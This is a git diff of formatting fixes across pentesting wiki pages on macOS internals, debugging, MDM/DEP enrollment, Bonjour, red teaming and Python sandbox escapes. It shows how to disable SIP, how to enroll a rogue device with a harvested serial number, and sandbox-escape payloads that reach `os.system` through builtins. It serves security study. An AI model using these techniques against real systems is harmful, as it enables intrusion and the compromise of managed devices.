a/macos/macos-security-and-privilege-escalation/mac-os-architecture.md b/macos/macos-security-and-privilege-escalation/mac-os-architecture.md index 5ff5d956..f2693fb7 100644 --- a/macos/macos-security-and-privilege-escalation/mac-os-architecture.md +++ b/macos/macos-security-and-privilege-escalation/mac-os-architecture.md @@ -10,7 +10,7 @@ From a security researcher’s perspective, **Mac OS X feels just like a FreeBSD ### Mach -Mach was originated as a UNIX-compatible** operating system **back in 1984. One of its primary design **goals** was to be a **microkernel**; that is, to **minimize** the amount of code running in the **kernel** and allow many typical kernel functions, such as file system, networking, and I/O, to **run as user-level** Mach tasks. +Mach was originated as a UNIX-compatible **operating system** back in 1984. One of its primary design **goals** was to be a **microkernel**; that is, to **minimize** the amount of code running in the **kernel** and allow many typical kernel functions, such as file system, networking, and I/O, to **run as user-level** Mach tasks. **In XNU, Mach is responsible for many of the low-level operations** you expect from a kernel, such as processor scheduling and multitasking and virtual- memory management. @@ -29,7 +29,7 @@ To get an idea of just how complicated the interaction between these two sets of ### I/O Kit - Drivers -I/O Kit is the open-source, object-oriented, **device-driver framework **in the XNU kernel and is responsible for the addition and management of **dynamically loaded device drivers**. These drivers allow for modular code to be added to the kernel dynamically for use with different hardware, for example. They are located in: +I/O Kit is the open-source, object-oriented, **device-driver framework** in the XNU kernel and is responsible for the addition and management of **dynamically loaded device drivers**. These drivers allow for modular code to be added to the kernel dynamically for use with different hardware, for example. They are located in: * `/System/Library/Extensions` * KEXT files built into the OS X operating system. @@ -78,7 +78,7 @@ On the **other** hand, many familiar pieces of Mac OS X are **not open source**. ### **Universal binaries** -Mac OS binaries usually are compiled as universal binaries.** **A **universal binary** can **support multiple architectures in the same file**. +Mac OS binaries usually are compiled as universal binaries. **** A **universal binary** can **support multiple architectures in the same file**. ```bash file /bin/ls @@ -138,14 +138,14 @@ struct load_command { ``` A **common** type of load command is **LC\_SEGMENT/LC\_SEGMENT\_64**, which **describes** a **segment:** \ -_A segment defines a **range of bytes **in a Mach-O file and the **addresses** and **memory** **protection** **attributes** at which those bytes are **mapped into **virtual memory when the dynamic linker loads the application._ +_A segment defines a **range of bytes** in a Mach-O file and the **addresses** and **memory** **protection** **attributes** at which those bytes are **mapped into** virtual memory when the dynamic linker loads the application._ ![](<../../.gitbook/assets/image (557).png>) Common segments: -* **`__TEXT`**: Contains **executable** **code** and **data** that is **read-only. **Common sections of this segment: - * `__text`:** **Compiled binary code +* **`__TEXT`**: Contains **executable** **code** and **data** that is **read-only.** Common sections of this segment: + * `__text`: **** Compiled binary code * `__const`: Constant data * `__cstring`: String constants * **`__DATA`**: Contains data that is **writable.** @@ -154,8 +154,8 @@ Common segments: * `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, etc): Information used by the Objective-C runtime * **`__LINKEDIT`**: Contains information for the linker (dyld) such as, "symbol, string, and relocation table entries." * **`__OBJC`**: Contains information used by the Objective-C runtime. Though this information might also be found in the \_\_DATA segment, within various in \_\_objc\_\* sections. -* **`LC_MAIN`**: Contains the entrypoint in the **entryoff attribute. **At load time, **dyld** simply **adds** this value to the (in-memory) **base of the binary**, then **jumps** to this instruction to kickoff execution of the binary’s code. -* **`LC_LOAD_DYLIB`**:** **This load command describes a **dynamic** **library** dependency which **instructs** the **loader** (dyld) to l**oad and link said library**. There is a LC\_LOAD\_DYLIB load command **for each library **that the Mach-O binary requires. +* **`LC_MAIN`**: Contains the entrypoint in the **entryoff attribute.** At load time, **dyld** simply **adds** this value to the (in-memory) **base of the binary**, then **jumps** to this instruction to kickoff execution of the binary’s code. +* **`LC_LOAD_DYLIB`**: **** This load command describes a **dynamic** **library** dependency which **instructs** the **loader** (dyld) to l**oad and link said library**. There is a LC\_LOAD\_DYLIB load command **for each library** that the Mach-O binary requires. * This load command is a structure of type **`dylib_command`** (which contains a struct dylib, describing the actual dependent dynamic library): @@ -261,12 +261,12 @@ Note that this names can be obfuscated to make the reversing of the binary more There are some projects that allow to generate a binary executable by MacOS containing script code which will be executed. Some examples are: -* **Platypus**: Generate MacOS binary executing** **shell scripts, Python, Perl, Ruby, PHP, Swift, Expect, Tcl, AWK, JavaScript, AppleScript or any other user-specified interpreter. +* **Platypus**: Generate MacOS binary executing **** shell scripts, Python, Perl, Ruby, PHP, Swift, Expect, Tcl, AWK, JavaScript, AppleScript or any other user-specified interpreter. * **It saves the script in `Contents/Resources/script`. So finding this script is a good indicator that Platypus was used.** -* **PyInstaller: **Python - * Ways to detect this is the use of the embedded** **string** “Py\_SetPythonHome” **or a a **call** into a function named **`pyi_main`.** -* **Electron: **JavaScript, HTML, and CSS. - * These binaries will use **Electron Framework.framework**. Moreover, the non-binary components (e.g. JavaScript files) maybe found in the application’s **`Contents/Resources/`** directory, achieved in `.asar` files. These binaries will use Electron Framework.framework. Moreover, the non-binary components (e.g. JavaScript files) maybe found in the application’s **`Contents/Resources/`** directory, achieved in **`.asar` files**. It's possible **unpack** such archives via the **asar** node module, or the **npx** **utility: **`npx asar extract StrongBox.app/Contents/Resources/app.asar appUnpacked`\ +* **PyInstaller:** Python + * Ways to detect this is the use of the embedded **** string **“Py\_SetPythonHome”** or a a **call** into a function named **`pyi_main`.** +* **Electron:** JavaScript, HTML, and CSS. + * These binaries will use **Electron Framework.framework**. Moreover, the non-binary components (e.g. JavaScript files) maybe found in the application’s **`Contents/Resources/`** directory, achieved in `.asar` files. These binaries will use Electron Framework.framework. Moreover, the non-binary components (e.g. JavaScript files) maybe found in the application’s **`Contents/Resources/`** directory, achieved in **`.asar` files**. It's possible **unpack** such archives via the **asar** node module, or the **npx** **utility:** `npx asar extract StrongBox.app/Contents/Resources/app.asar appUnpacked`\ ## References diff --git a/macos/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing.md b/macos/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing.md index 304b7a36..41703e6d 100644 --- a/macos/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing.md +++ b/macos/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing.md @@ -32,14 +32,14 @@ When a function is called in a binary that uses objective-C, the compiled code i The params this function expects are: -* The first parameter (**self**) is "a pointer that points to the **instance of the class that is to receive the message**". Or more simply put, it’s the object that the method is being invoked upon. If the method is a class method, this will be an instance of the class object (as a whole), whereas for an instance method, self will point to an instantiated instance of the class as an object. -* The second parameter, (**op**), is "the selector of the method that handles the message". Again, more simply put, this is just the **name of the method.** -* The remaining parameters are any** values that are required by the method** (op). +* The first parameter (**self**) is "a pointer that points to the **instance of the class that is to receive the message**". Or more simply put, it’s the object that the method is being invoked upon. If the method is a class method, this will be an instance of the class object (as a whole), whereas for an instance method, self will point to an instantiated instance of the class as an object. +* The second parameter, (**op**), is "the selector of the method that handles the message". Again, more simply put, this is just the **name of the method.** +* The remaining parameters are any **values that are required by the method** (op). -| **Argument ** | **Register** | **(for) objc_msgSend** | +| **Argument** | **Register** | **(for) objc\_msgSend** | | ----------------- | --------------------------------------------------------------- | ------------------------------------------------------ | -| **1st argument ** | **rdi** | **self: object that the method is being invoked upon** | -| **2nd argument ** | **rsi** | **op: name of the method** | +| **1st argument** | **rdi** | **self: object that the method is being invoked upon** | +| **2nd argument** | **rsi** | **op: name of the method** | | **3rd argument** | **rdx** | **1st argument to the method** | | **4th argument** | **rcx** | **2nd argument to the method** | | **5th argument** | **r8** | **3rd argument to the method** | @@ -50,12 +50,12 @@ The params this function expects are: * Check for high entropy * Check the strings (is there is almost no understandable string, packed) -* The UPX packer for MacOS generates a section called "\__XHDR" +* The UPX packer for MacOS generates a section called "\_\_XHDR" ## Dynamic Analysis {% hint style="warning" %} -Note that in order to debug binaries, **SIP needs to be disabled **(`csrutil disable` or `csrutil enable --without debug`) or to copy the binaries to a temporary folder and **remove the signature **with `codesign --remove-signature `or allow the debugging of the binary (you can use [this script](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b)) +Note that in order to debug binaries, **SIP needs to be disabled** (`csrutil disable` or `csrutil enable --without debug`) or to copy the binaries to a temporary folder and **remove the signature** with `codesign --remove-signature ` or allow the debugging of the binary (you can use [this script](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b)) {% endhint %} {% hint style="warning" %} @@ -79,7 +79,7 @@ ktrace trace -s -S -t c -c ls | grep "ls(" ### dtrace -It allows users access to applications at an extremely **low level **and provides a way for users to **trace** **programs** and even change their execution flow. Dtrace uses **probes** which are **placed throughout the kernel** and are at locations such as the beginning and end of system calls. +It allows users access to applications at an extremely **low level** and provides a way for users to **trace** **programs** and even change their execution flow. Dtrace uses **probes** which are **placed throughout the kernel** and are at locations such as the beginning and end of system calls. The available probes of dtrace can be obtained with: @@ -154,7 +154,7 @@ sudo dtrace -s syscalls_info.d -c "cat /etc/hosts" ****[**FileMonitor**](https://objective-see.com/products/utilities.html#FileMonitor) allows to monitor file events (such as creation, modifications, and deletions) providing detailed information about such events. -### fs_usage +### fs\_usage Allows to follow actions performed by processes: @@ -170,7 +170,7 @@ It also checks the binary processes against **virustotal** and show information ### lldb -**lldb** is the de **facto tool **for **macOS** binary **debugging**. +**lldb** is the de **facto tool** for **macOS** binary **debugging**. ```bash lldb ./malware.bin @@ -193,11 +193,11 @@ lldb -n malware.bin --waitfor | **x/s \** | Display the memory as a null-terminated string. | | **x/i \** | Display the memory as assembly instruction. | | **x/b \** | Display the memory as byte. | -| **print object (po)** |

    This will print the object referenced by the param

    po $raw

    {

    dnsChanger = {

    "affiliate" = "";

    "blacklist_dns" = ();

    Note that most of Apple’s Objective-C APIs or methods return objects, and thus should be displayed via the “print object” (po) command. If po doesn't produce a meaningful output use x/b

    | +| **print object (po)** |

    This will print the object referenced by the param

    po $raw

    {

    dnsChanger = {

    "affiliate" = "";

    "blacklist_dns" = ();

    Note that most of Apple’s Objective-C APIs or methods return objects, and thus should be displayed via the “print object” (po) command. If po doesn't produce a meaningful output use x/b

    | | **memory write** | memory write 0x100600000 -s 4 0x41414141 #Write AAAA in that address | {% hint style="info" %} -When calling the **`objc_sendMsg`** function, the **rsi** register holds the **name of the method **as a null-terminated (“C”) string. To print the name via lldb do: +When calling the **`objc_sendMsg`** function, the **rsi** register holds the **name of the method** as a null-terminated (“C”) string. To print the name via lldb do: `(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"` @@ -217,16 +217,16 @@ When calling the **`objc_sendMsg`** function, the **rsi** register holds the **n * It's also possible to find **if a process is being debugged** with a simple code such us: * `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //process being debugged }` * It can also invoke the **`ptrace`** system call with the **`PT_DENY_ATTACH`** flag. This **prevents** a deb**u**gger from attaching and tracing. - * You can check if the **`sysctl` **or**`ptrace`** function is being **imported** (but the malware could import it dynamically) + * You can check if the **`sysctl` ** or**`ptrace`** function is being **imported** (but the malware could import it dynamically) * As noted in this writeup, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\ - “_The message Process # exited with **status = 45 (0x0000002d)** is usually a tell-tale sign that the debug target is using **PT_DENY_ATTACH**_” + “_The message Process # exited with **status = 45 (0x0000002d)** is usually a tell-tale sign that the debug target is using **PT\_DENY\_ATTACH**_” ## Fuzzing ### [ReportCrash](https://ss64.com/osx/reportcrash.html#:\~:text=ReportCrash%20analyzes%20crashing%20processes%20and%20saves%20a%20crash%20report%20to%20disk.\&text=ReportCrash%20also%20records%20the%20identity,when%20a%20crash%20is%20detected.) ReportCrash **analyzes crashing processes and saves a crash report to disk**. A crash report contains information that can **help a developer diagnose** the cause of a crash.\ -For applications and other processes** running in the per-user launchd context**, ReportCrash runs as a LaunchAgent and saves crash reports in the user's `~/Library/Logs/DiagnosticReports/`\ +For applications and other processes **running in the per-user launchd context**, ReportCrash runs as a LaunchAgent and saves crash reports in the user's `~/Library/Logs/DiagnosticReports/`\ For daemons, other processes **running in the system launchd context** and other privileged processes, ReportCrash runs as a LaunchDaemon and saves crash reports in the system's `/Library/Logs/DiagnosticReports` If you are worried about crash reports **being sent to Apple** you can disable them. If not, crash reports can be useful to **figure out how a server crashed**. @@ -251,7 +251,7 @@ While fuzzing in a MacOS it's important to not allow the Mac to sleep: #### SSH Disconnect -If you are fuzzing via a SSH connection it's important to make sure the session isn't going to day. So change the sshd_config file with: +If you are fuzzing via a SSH connection it's important to make sure the session isn't going to day. So change the sshd\_config file with: * TCPKeepAlive Yes * ClientAliveInterval 0 @@ -264,7 +264,7 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist ### Internal Handlers -[**Checkout this section**](./#file-extensions-apps)** **to find out how you can find which app is responsible of **handling the specified scheme or protocol**. +[**Checkout this section**](./#file-extensions-apps) **** to find out how you can find which app is responsible of **handling the specified scheme or protocol**. ### Enumerating Network Processes diff --git a/macos/macos-security-and-privilege-escalation/macos-mdm/README.md b/macos/macos-security-and-privilege-escalation/macos-mdm/README.md index 602e12b8..dfcbc62c 100644 --- a/macos/macos-security-and-privilege-escalation/macos-mdm/README.md +++ b/macos/macos-security-and-privilege-escalation/macos-mdm/README.md @@ -4,7 +4,7 @@ ### What is MDM (Mobile Device Management)? -[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) is a technology commonly used to **administer end-user computing devices** such as mobile phones, laptops, desktops and tablets. In the case of Apple platforms like iOS, macOS and tvOS, it refers to a specific set of features, APIs and techniques used by administrators to manage these devices. Management of devices via MDM requires a compatible commercial or open-source MDM server that implements support for the [MDM Protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). +[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile\_device\_management) (MDM) is a technology commonly used to **administer end-user computing devices** such as mobile phones, laptops, desktops and tablets. In the case of Apple platforms like iOS, macOS and tvOS, it refers to a specific set of features, APIs and techniques used by administrators to manage these devices. Management of devices via MDM requires a compatible commercial or open-source MDM server that implements support for the [MDM Protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). * A way to achieve **centralized device management** * Requires an **MDM server** which implements support for the MDM protocol @@ -12,7 +12,7 @@ ### Basics What is DEP (Device Enrolment Program)? -The [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) is a service offered by Apple that **simplifies** Mobile Device Management (MDM) **enrollment** by offering **zero-touch configuration** of iOS, macOS, and tvOS devices. Unlike more traditional deployment methods, which require the end-user or administrator to take action to configure a device, or manually enroll with an MDM server, DEP aims to bootstrap this process, **allowing the user to unbox a new Apple device and have it configured for use in the organization almost immediately**. +The [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP\_Guide.pdf) (DEP) is a service offered by Apple that **simplifies** Mobile Device Management (MDM) **enrollment** by offering **zero-touch configuration** of iOS, macOS, and tvOS devices. Unlike more traditional deployment methods, which require the end-user or administrator to take action to configure a device, or manually enroll with an MDM server, DEP aims to bootstrap this process, **allowing the user to unbox a new Apple device and have it configured for use in the organization almost immediately**. Administrators can leverage DEP to automatically enroll devices in their organization’s MDM server. Once a device is enrolled, **in many cases it is treated as a “trusted”** device owned by the organization, and could receive any number of certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf). @@ -21,7 +21,7 @@ Administrators can leverage DEP to automatically enroll devices in their organiz * Can also be useful for **reprovisioning** workflows (**wiped** with fresh install of the OS) {% hint style="danger" %} -Unfortunately, if an organization has not taken additional steps to** protect their MDM enrollment**, a simplified end-user enrollment process through DEP can also mean a simplified process for** attackers to enroll a device of their choosing in the organization’s MDM** server, assuming the "identity" of a corporate device. +Unfortunately, if an organization has not taken additional steps to **protect their MDM enrollment**, a simplified end-user enrollment process through DEP can also mean a simplified process for **attackers to enroll a device of their choosing in the organization’s MDM** server, assuming the "identity" of a corporate device. {% endhint %} ### Basics What is SCEP (Simple Certificate Enrolment Protocol)? @@ -106,7 +106,7 @@ It follows a few steps to get the Activation Record performed by **`MCTeslaConfi 5. Make the request 1. POST to [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) sending the data `{ "action": "RequestProfileConfiguration", "sn": "" }` 2. The JSON payload is encrypted using Absinthe (**`NACSign`**) - 3. All requests over HTTPs, built-in root certificates are used + 3. All requests over HTTPs, built-in root certificates are used ![](<../../../.gitbook/assets/image (566) (1).png>) @@ -121,7 +121,7 @@ The response is a JSON dictionary with some important data like: * Request sent to **url provided in DEP profile**. * **Anchor certificates** are used to **evaluate trust** if provided. - * Reminder: the **anchor_certs** property of the DEP profile + * Reminder: the **anchor\_certs** property of the DEP profile * **Request is a simple .plist** with device identification * Examples: **UDID, OS version**. * CMS-signed, DER-encoded diff --git a/macos/macos-security-and-privilege-escalation/macos-mdm/enrolling-devices-in-other-organisations.md b/macos/macos-security-and-privilege-escalation/macos-mdm/enrolling-devices-in-other-organisations.md index 67dcf050..288cf3a6 100644 --- a/macos/macos-security-and-privilege-escalation/macos-mdm/enrolling-devices-in-other-organisations.md +++ b/macos/macos-security-and-privilege-escalation/macos-mdm/enrolling-devices-in-other-organisations.md @@ -2,10 +2,10 @@ ## Intro -As** **[**previously commented**](./#what-is-mdm-mobile-device-management)**,** in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ +As **** [**previously commented**](./#what-is-mdm-mobile-device-management)**,** in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected. -**The following research is taken from **[**https://duo.com/labs/research/mdm-me-maybe**](https://duo.com/labs/research/mdm-me-maybe)**** +**The following research is taken from** [**https://duo.com/labs/research/mdm-me-maybe**](https://duo.com/labs/research/mdm-me-maybe)**** ## Reversing the process @@ -47,7 +47,7 @@ rsi = @selector(sendConfigurationInfoToRemote); rsi = @selector(sendFailureNoticeToRemote); ``` -Since the **Absinthe** scheme is what appears to be used to authenticate requests to the DEP service, **reverse engineering **this scheme would allow us to make our own authenticated requests to the DEP API. This proved to be **time consuming**, though, mostly because of the number of steps involved in authenticating requests. Rather than fully reversing how this scheme works, we opted to explore other methods of inserting arbitrary serial numbers as part of the _Activation Record_ request. +Since the **Absinthe** scheme is what appears to be used to authenticate requests to the DEP service, **reverse engineering** this scheme would allow us to make our own authenticated requests to the DEP API. This proved to be **time consuming**, though, mostly because of the number of steps involved in authenticating requests. Rather than fully reversing how this scheme works, we opted to explore other methods of inserting arbitrary serial numbers as part of the _Activation Record_ request. ### MITMing DEP Requests @@ -60,7 +60,7 @@ sn": " } ``` -Since the API at _iprofiles.apple.com_ uses [Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security) (TLS), we needed to enable SSL Proxying in Charles for that host to see the plain text contents of the SSL requests. +Since the API at _iprofiles.apple.com_ uses [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) (TLS), we needed to enable SSL Proxying in Charles for that host to see the plain text contents of the SSL requests. However, the `-[MCTeslaConfigurationFetcher connection:willSendRequestForAuthenticationChallenge:]` method checks the validity of the server certificate, and will abort if server trust cannot be verified. @@ -82,7 +82,7 @@ ManagedClient.app/Contents/Resources/English.lproj/Errors.strings ``` -The _Errors.strings_ file can be [printed in a human-readable format](https://duo.com/labs/research/mdm-me-maybe#error_strings_output) with the built-in `plutil` command. +The _Errors.strings_ file can be [printed in a human-readable format](https://duo.com/labs/research/mdm-me-maybe#error\_strings\_output) with the built-in `plutil` command. ``` $ plutil -p /System/Library/CoreServices/ManagedClient.app/Contents/Resources/English.lproj/Errors.strings @@ -118,7 +118,7 @@ One of the benefits of this method over modifying the binaries and re-signing th **System Integrity Protection** -In order to instrument system binaries, (such as `cloudconfigurationd`) on macOS, [System Integrity Protection](https://support.apple.com/en-us/HT204899) (SIP) must be disabled. SIP is a security technology that protects system-level files, folders, and processes from tampering, and is enabled by default on OS X 10.11 “El Capitan” and later. [SIP can be disabled](https://developer.apple.com/library/archive/documentation/Security/Conceptual/System_Integrity_Protection_Guide/ConfiguringSystemIntegrityProtection/ConfiguringSystemIntegrityProtection.html) by booting into Recovery Mode and running the following command in the Terminal application, then rebooting: +In order to instrument system binaries, (such as `cloudconfigurationd`) on macOS, [System Integrity Protection](https://support.apple.com/en-us/HT204899) (SIP) must be disabled. SIP is a security technology that protects system-level files, folders, and processes from tampering, and is enabled by default on OS X 10.11 “El Capitan” and later. [SIP can be disabled](https://developer.apple.com/library/archive/documentation/Security/Conceptual/System\_Integrity\_Protection\_Guide/ConfiguringSystemIntegrityProtection/ConfiguringSystemIntegrityProtection.html) by booting into Recovery Mode and running the following command in the Terminal application, then rebooting: ``` csrutil enable --without debug @@ -415,7 +415,7 @@ Although some of this information might be publicly available for certain organi #### Rogue DEP Enrollment -The [Apple MDM protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf) supports - but does not require - user authentication prior to MDM enrollment via [HTTP Basic Authentication](https://en.wikipedia.org/wiki/Basic_access_authentication). **Without authentication, all that's required to enroll a device in an MDM server via DEP is a valid, DEP-registered serial number**. Thus, an attacker that obtains such a serial number, (either through [OSINT](https://en.wikipedia.org/wiki/Open-source_intelligence), social engineering, or by brute-force), will be able to enroll a device of their own as if it were owned by the organization, as long as it's not currently enrolled in the MDM server. Essentially, if an attacker is able to win the race by initiating the DEP enrollment before the real device, they're able to assume the identity of that device. +The [Apple MDM protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf) supports - but does not require - user authentication prior to MDM enrollment via [HTTP Basic Authentication](https://en.wikipedia.org/wiki/Basic\_access\_authentication). **Without authentication, all that's required to enroll a device in an MDM server via DEP is a valid, DEP-registered serial number**. Thus, an attacker that obtains such a serial number, (either through [OSINT](https://en.wikipedia.org/wiki/Open-source\_intelligence), social engineering, or by brute-force), will be able to enroll a device of their own as if it were owned by the organization, as long as it's not currently enrolled in the MDM server. Essentially, if an attacker is able to win the race by initiating the DEP enrollment before the real device, they're able to assume the identity of that device. Organizations can - and do - leverage MDM to deploy sensitive information such as device and user certificates, VPN configuration data, enrollment agents, Configuration Profiles, and various other internal data and organizational secrets. Additionally, some organizations elect not to require user authentication as part of MDM enrollment. This has various benefits, such as a better user experience, and not having to [expose the internal authentication server to the MDM server to handle MDM enrollments that take place outside of the corporate network](https://docs.simplemdm.com/article/93-ldap-authentication-with-apple-dep). diff --git a/macos/macos-security-and-privilege-escalation/macos-protocols.md b/macos/macos-security-and-privilege-escalation/macos-protocols.md index 384995d6..1be12bdb 100644 --- a/macos/macos-security-and-privilege-escalation/macos-protocols.md +++ b/macos/macos-security-and-privilege-escalation/macos-protocols.md @@ -2,7 +2,7 @@ ## Bonjour -**Bonjour** is an Apple-designed technology that enables computers and **devices located on the same network to learn about services offered **by other computers and devices. It is designed such that any Bonjour-aware device can be plugged into a TCP/IP network and it will **pick an IP address** and make other computers on that network** aware of the services it offers**. Bonjour is sometimes referred to as Rendezvous, **Zero Configuration**, or Zeroconf.\ +**Bonjour** is an Apple-designed technology that enables computers and **devices located on the same network to learn about services offered** by other computers and devices. It is designed such that any Bonjour-aware device can be plugged into a TCP/IP network and it will **pick an IP address** and make other computers on that network **aware of the services it offers**. Bonjour is sometimes referred to as Rendezvous, **Zero Configuration**, or Zeroconf.\ Zero Configuration Networking, such as Bonjour provides: * Must be able to **obtain an IP Address** (even without a DHCP server) @@ -12,7 +12,7 @@ Zero Configuration Networking, such as Bonjour provides: The device will get an **IP address in the range 169.254/16** and will check if any other device is using that IP address. If not, it will keep the IP address. Macs keeps an entry in their routing table for this subnet: `netstat -rn | grep 169` For DNS the **Multicast DNS (mDNS) protocol is used**. [**mDNS** **services** listen in port **5353/UDP**](../../pentesting/5353-udp-multicast-dns-mdns.md), use **regular DNS queries** and use the **multicast address 224.0.0.251** instead of sending the request just to an IP address. Any machine listening these request will respond, usually to a multicast address, so all the devices can update their tables.\ -Each device will **select its own name** when accessing the network, the device will choose a name **ended in .local** (might be based on the hostname or a completely random one). +Each device will **select its own name** when accessing the network, the device will choose a name **ended in .local** (might be based on the hostname or a completely random one). For **discovering services DNS Service Discovery (DNS-SD)** is used. @@ -77,5 +77,5 @@ sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.p ## References -* [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?\_encoding=UTF8\&me=\&qid=)**** +* [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)**** * ****[**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)**** diff --git a/macos/macos-security-and-privilege-escalation/macos-red-teaming.md b/macos/macos-security-and-privilege-escalation/macos-red-teaming.md index 3a48b1cd..8e3dd3f0 100644 --- a/macos/macos-security-and-privilege-escalation/macos-red-teaming.md +++ b/macos/macos-security-and-privilege-escalation/macos-red-teaming.md @@ -5,7 +5,7 @@ * JAMF Pro: `jamf checkJSSConnection` * Kandji -If you manage to** compromise admin credentials** to access the management platform, you can **potentially compromise all the computers** by distributing your malware in the machines. +If you manage to **compromise admin credentials** to access the management platform, you can **potentially compromise all the computers** by distributing your malware in the machines. For red teaming in MacOS environments it's highly recommended to have some understanding of how the MDMs work: @@ -35,7 +35,7 @@ In some occasions you will find that the **MacOS computer is connected to an AD* [pentesting-kerberos-88](../../pentesting/pentesting-kerberos-88/) {% endcontent-ref %} -Some **local MacOS tool **that may also help you is `dscl`: +Some **local MacOS tool** that may also help you is `dscl`: ```bash dscl "/Active Directory/[Domain]/All Domains" ls / diff --git a/misc/basic-python/bypass-python-sandboxes/README.md b/misc/basic-python/bypass-python-sandboxes/README.md index f8cf6990..4f54c147 100644 --- a/misc/basic-python/bypass-python-sandboxes/README.md +++ b/misc/basic-python/bypass-python-sandboxes/README.md @@ -45,7 +45,7 @@ Remember that the _**open**_ and _**read**_ functions can be useful to **read fi **Python2 input()** function allows to execute python code before the program crashes. {% endhint %} -Python try to **load libraries from the current directory first **(the following command will print where is python loading modules from): `python3 -c 'import sys; print(sys.path)'` +Python try to **load libraries from the current directory first** (the following command will print where is python loading modules from): `python3 -c 'import sys; print(sys.path)'` ![](<../../../.gitbook/assets/image (552).png>) @@ -54,7 +54,7 @@ Python try to **load libraries from the current directory first **(the following ### Default packages You can find a **list of pre-installed** packages here: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ -Note that from a pickle you can make the python env** import arbitrary libraries** installed in the system.\ +Note that from a pickle you can make the python env **import arbitrary libraries** installed in the system.\ For example the following pickle, when loaded, is going to import the pip library to use it: ```python @@ -131,7 +131,7 @@ __builtins__.__dict__['__import__']("os").system("ls") ### No Builtins When you don't have `__builtins__` you are not going to be able to import anything nor even read or write files as **all the global functions** (like `open`, `import`, `print`...) **aren't loaded**.\ -However, **by default python import a lot of modules in memory**. This modules may seem benign, but some of them are **also importing dangerous **functionalities inside of them that can be accessed to gain even **arbitrary code execution**. +However, **by default python import a lot of modules in memory**. This modules may seem benign, but some of them are **also importing dangerous** functionalities inside of them that can be accessed to gain even **arbitrary code execution**. In the following examples you can observe how to **abuse** some of this "**benign**" modules loaded to **access** **dangerous** **functionalities** inside of them. @@ -175,7 +175,7 @@ get_flag.__globals__['__builtins__'] [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"] ``` -[**Below there is a bigger function**](./#recursive-search-of-builtins-globals) to find tens/**hundreds **of **places **were you can find the **builtins**. +[**Below there is a bigger function**](./#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **builtins**. #### Python2 and Python3 @@ -223,11 +223,11 @@ class_obj.__init__.__globals__ [, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] ``` -[**Below there is a bigger function**](./#recursive-search-of-builtins-globals) to find tens/**hundreds **of **places **were you can find the **globals**. +[**Below there is a bigger function**](./#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **globals**. ## Discover Arbitrary Execution -Here I want to explain how to easily discover** more dangerous functionalities loaded **and propose more reliable exploits. +Here I want to explain how to easily discover **more dangerous functionalities loaded** and propose more reliable exploits. #### Accessing subclasses with bypasses @@ -267,13 +267,13 @@ For example, knowing that with the library **`sys`** it's possible to **import a ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 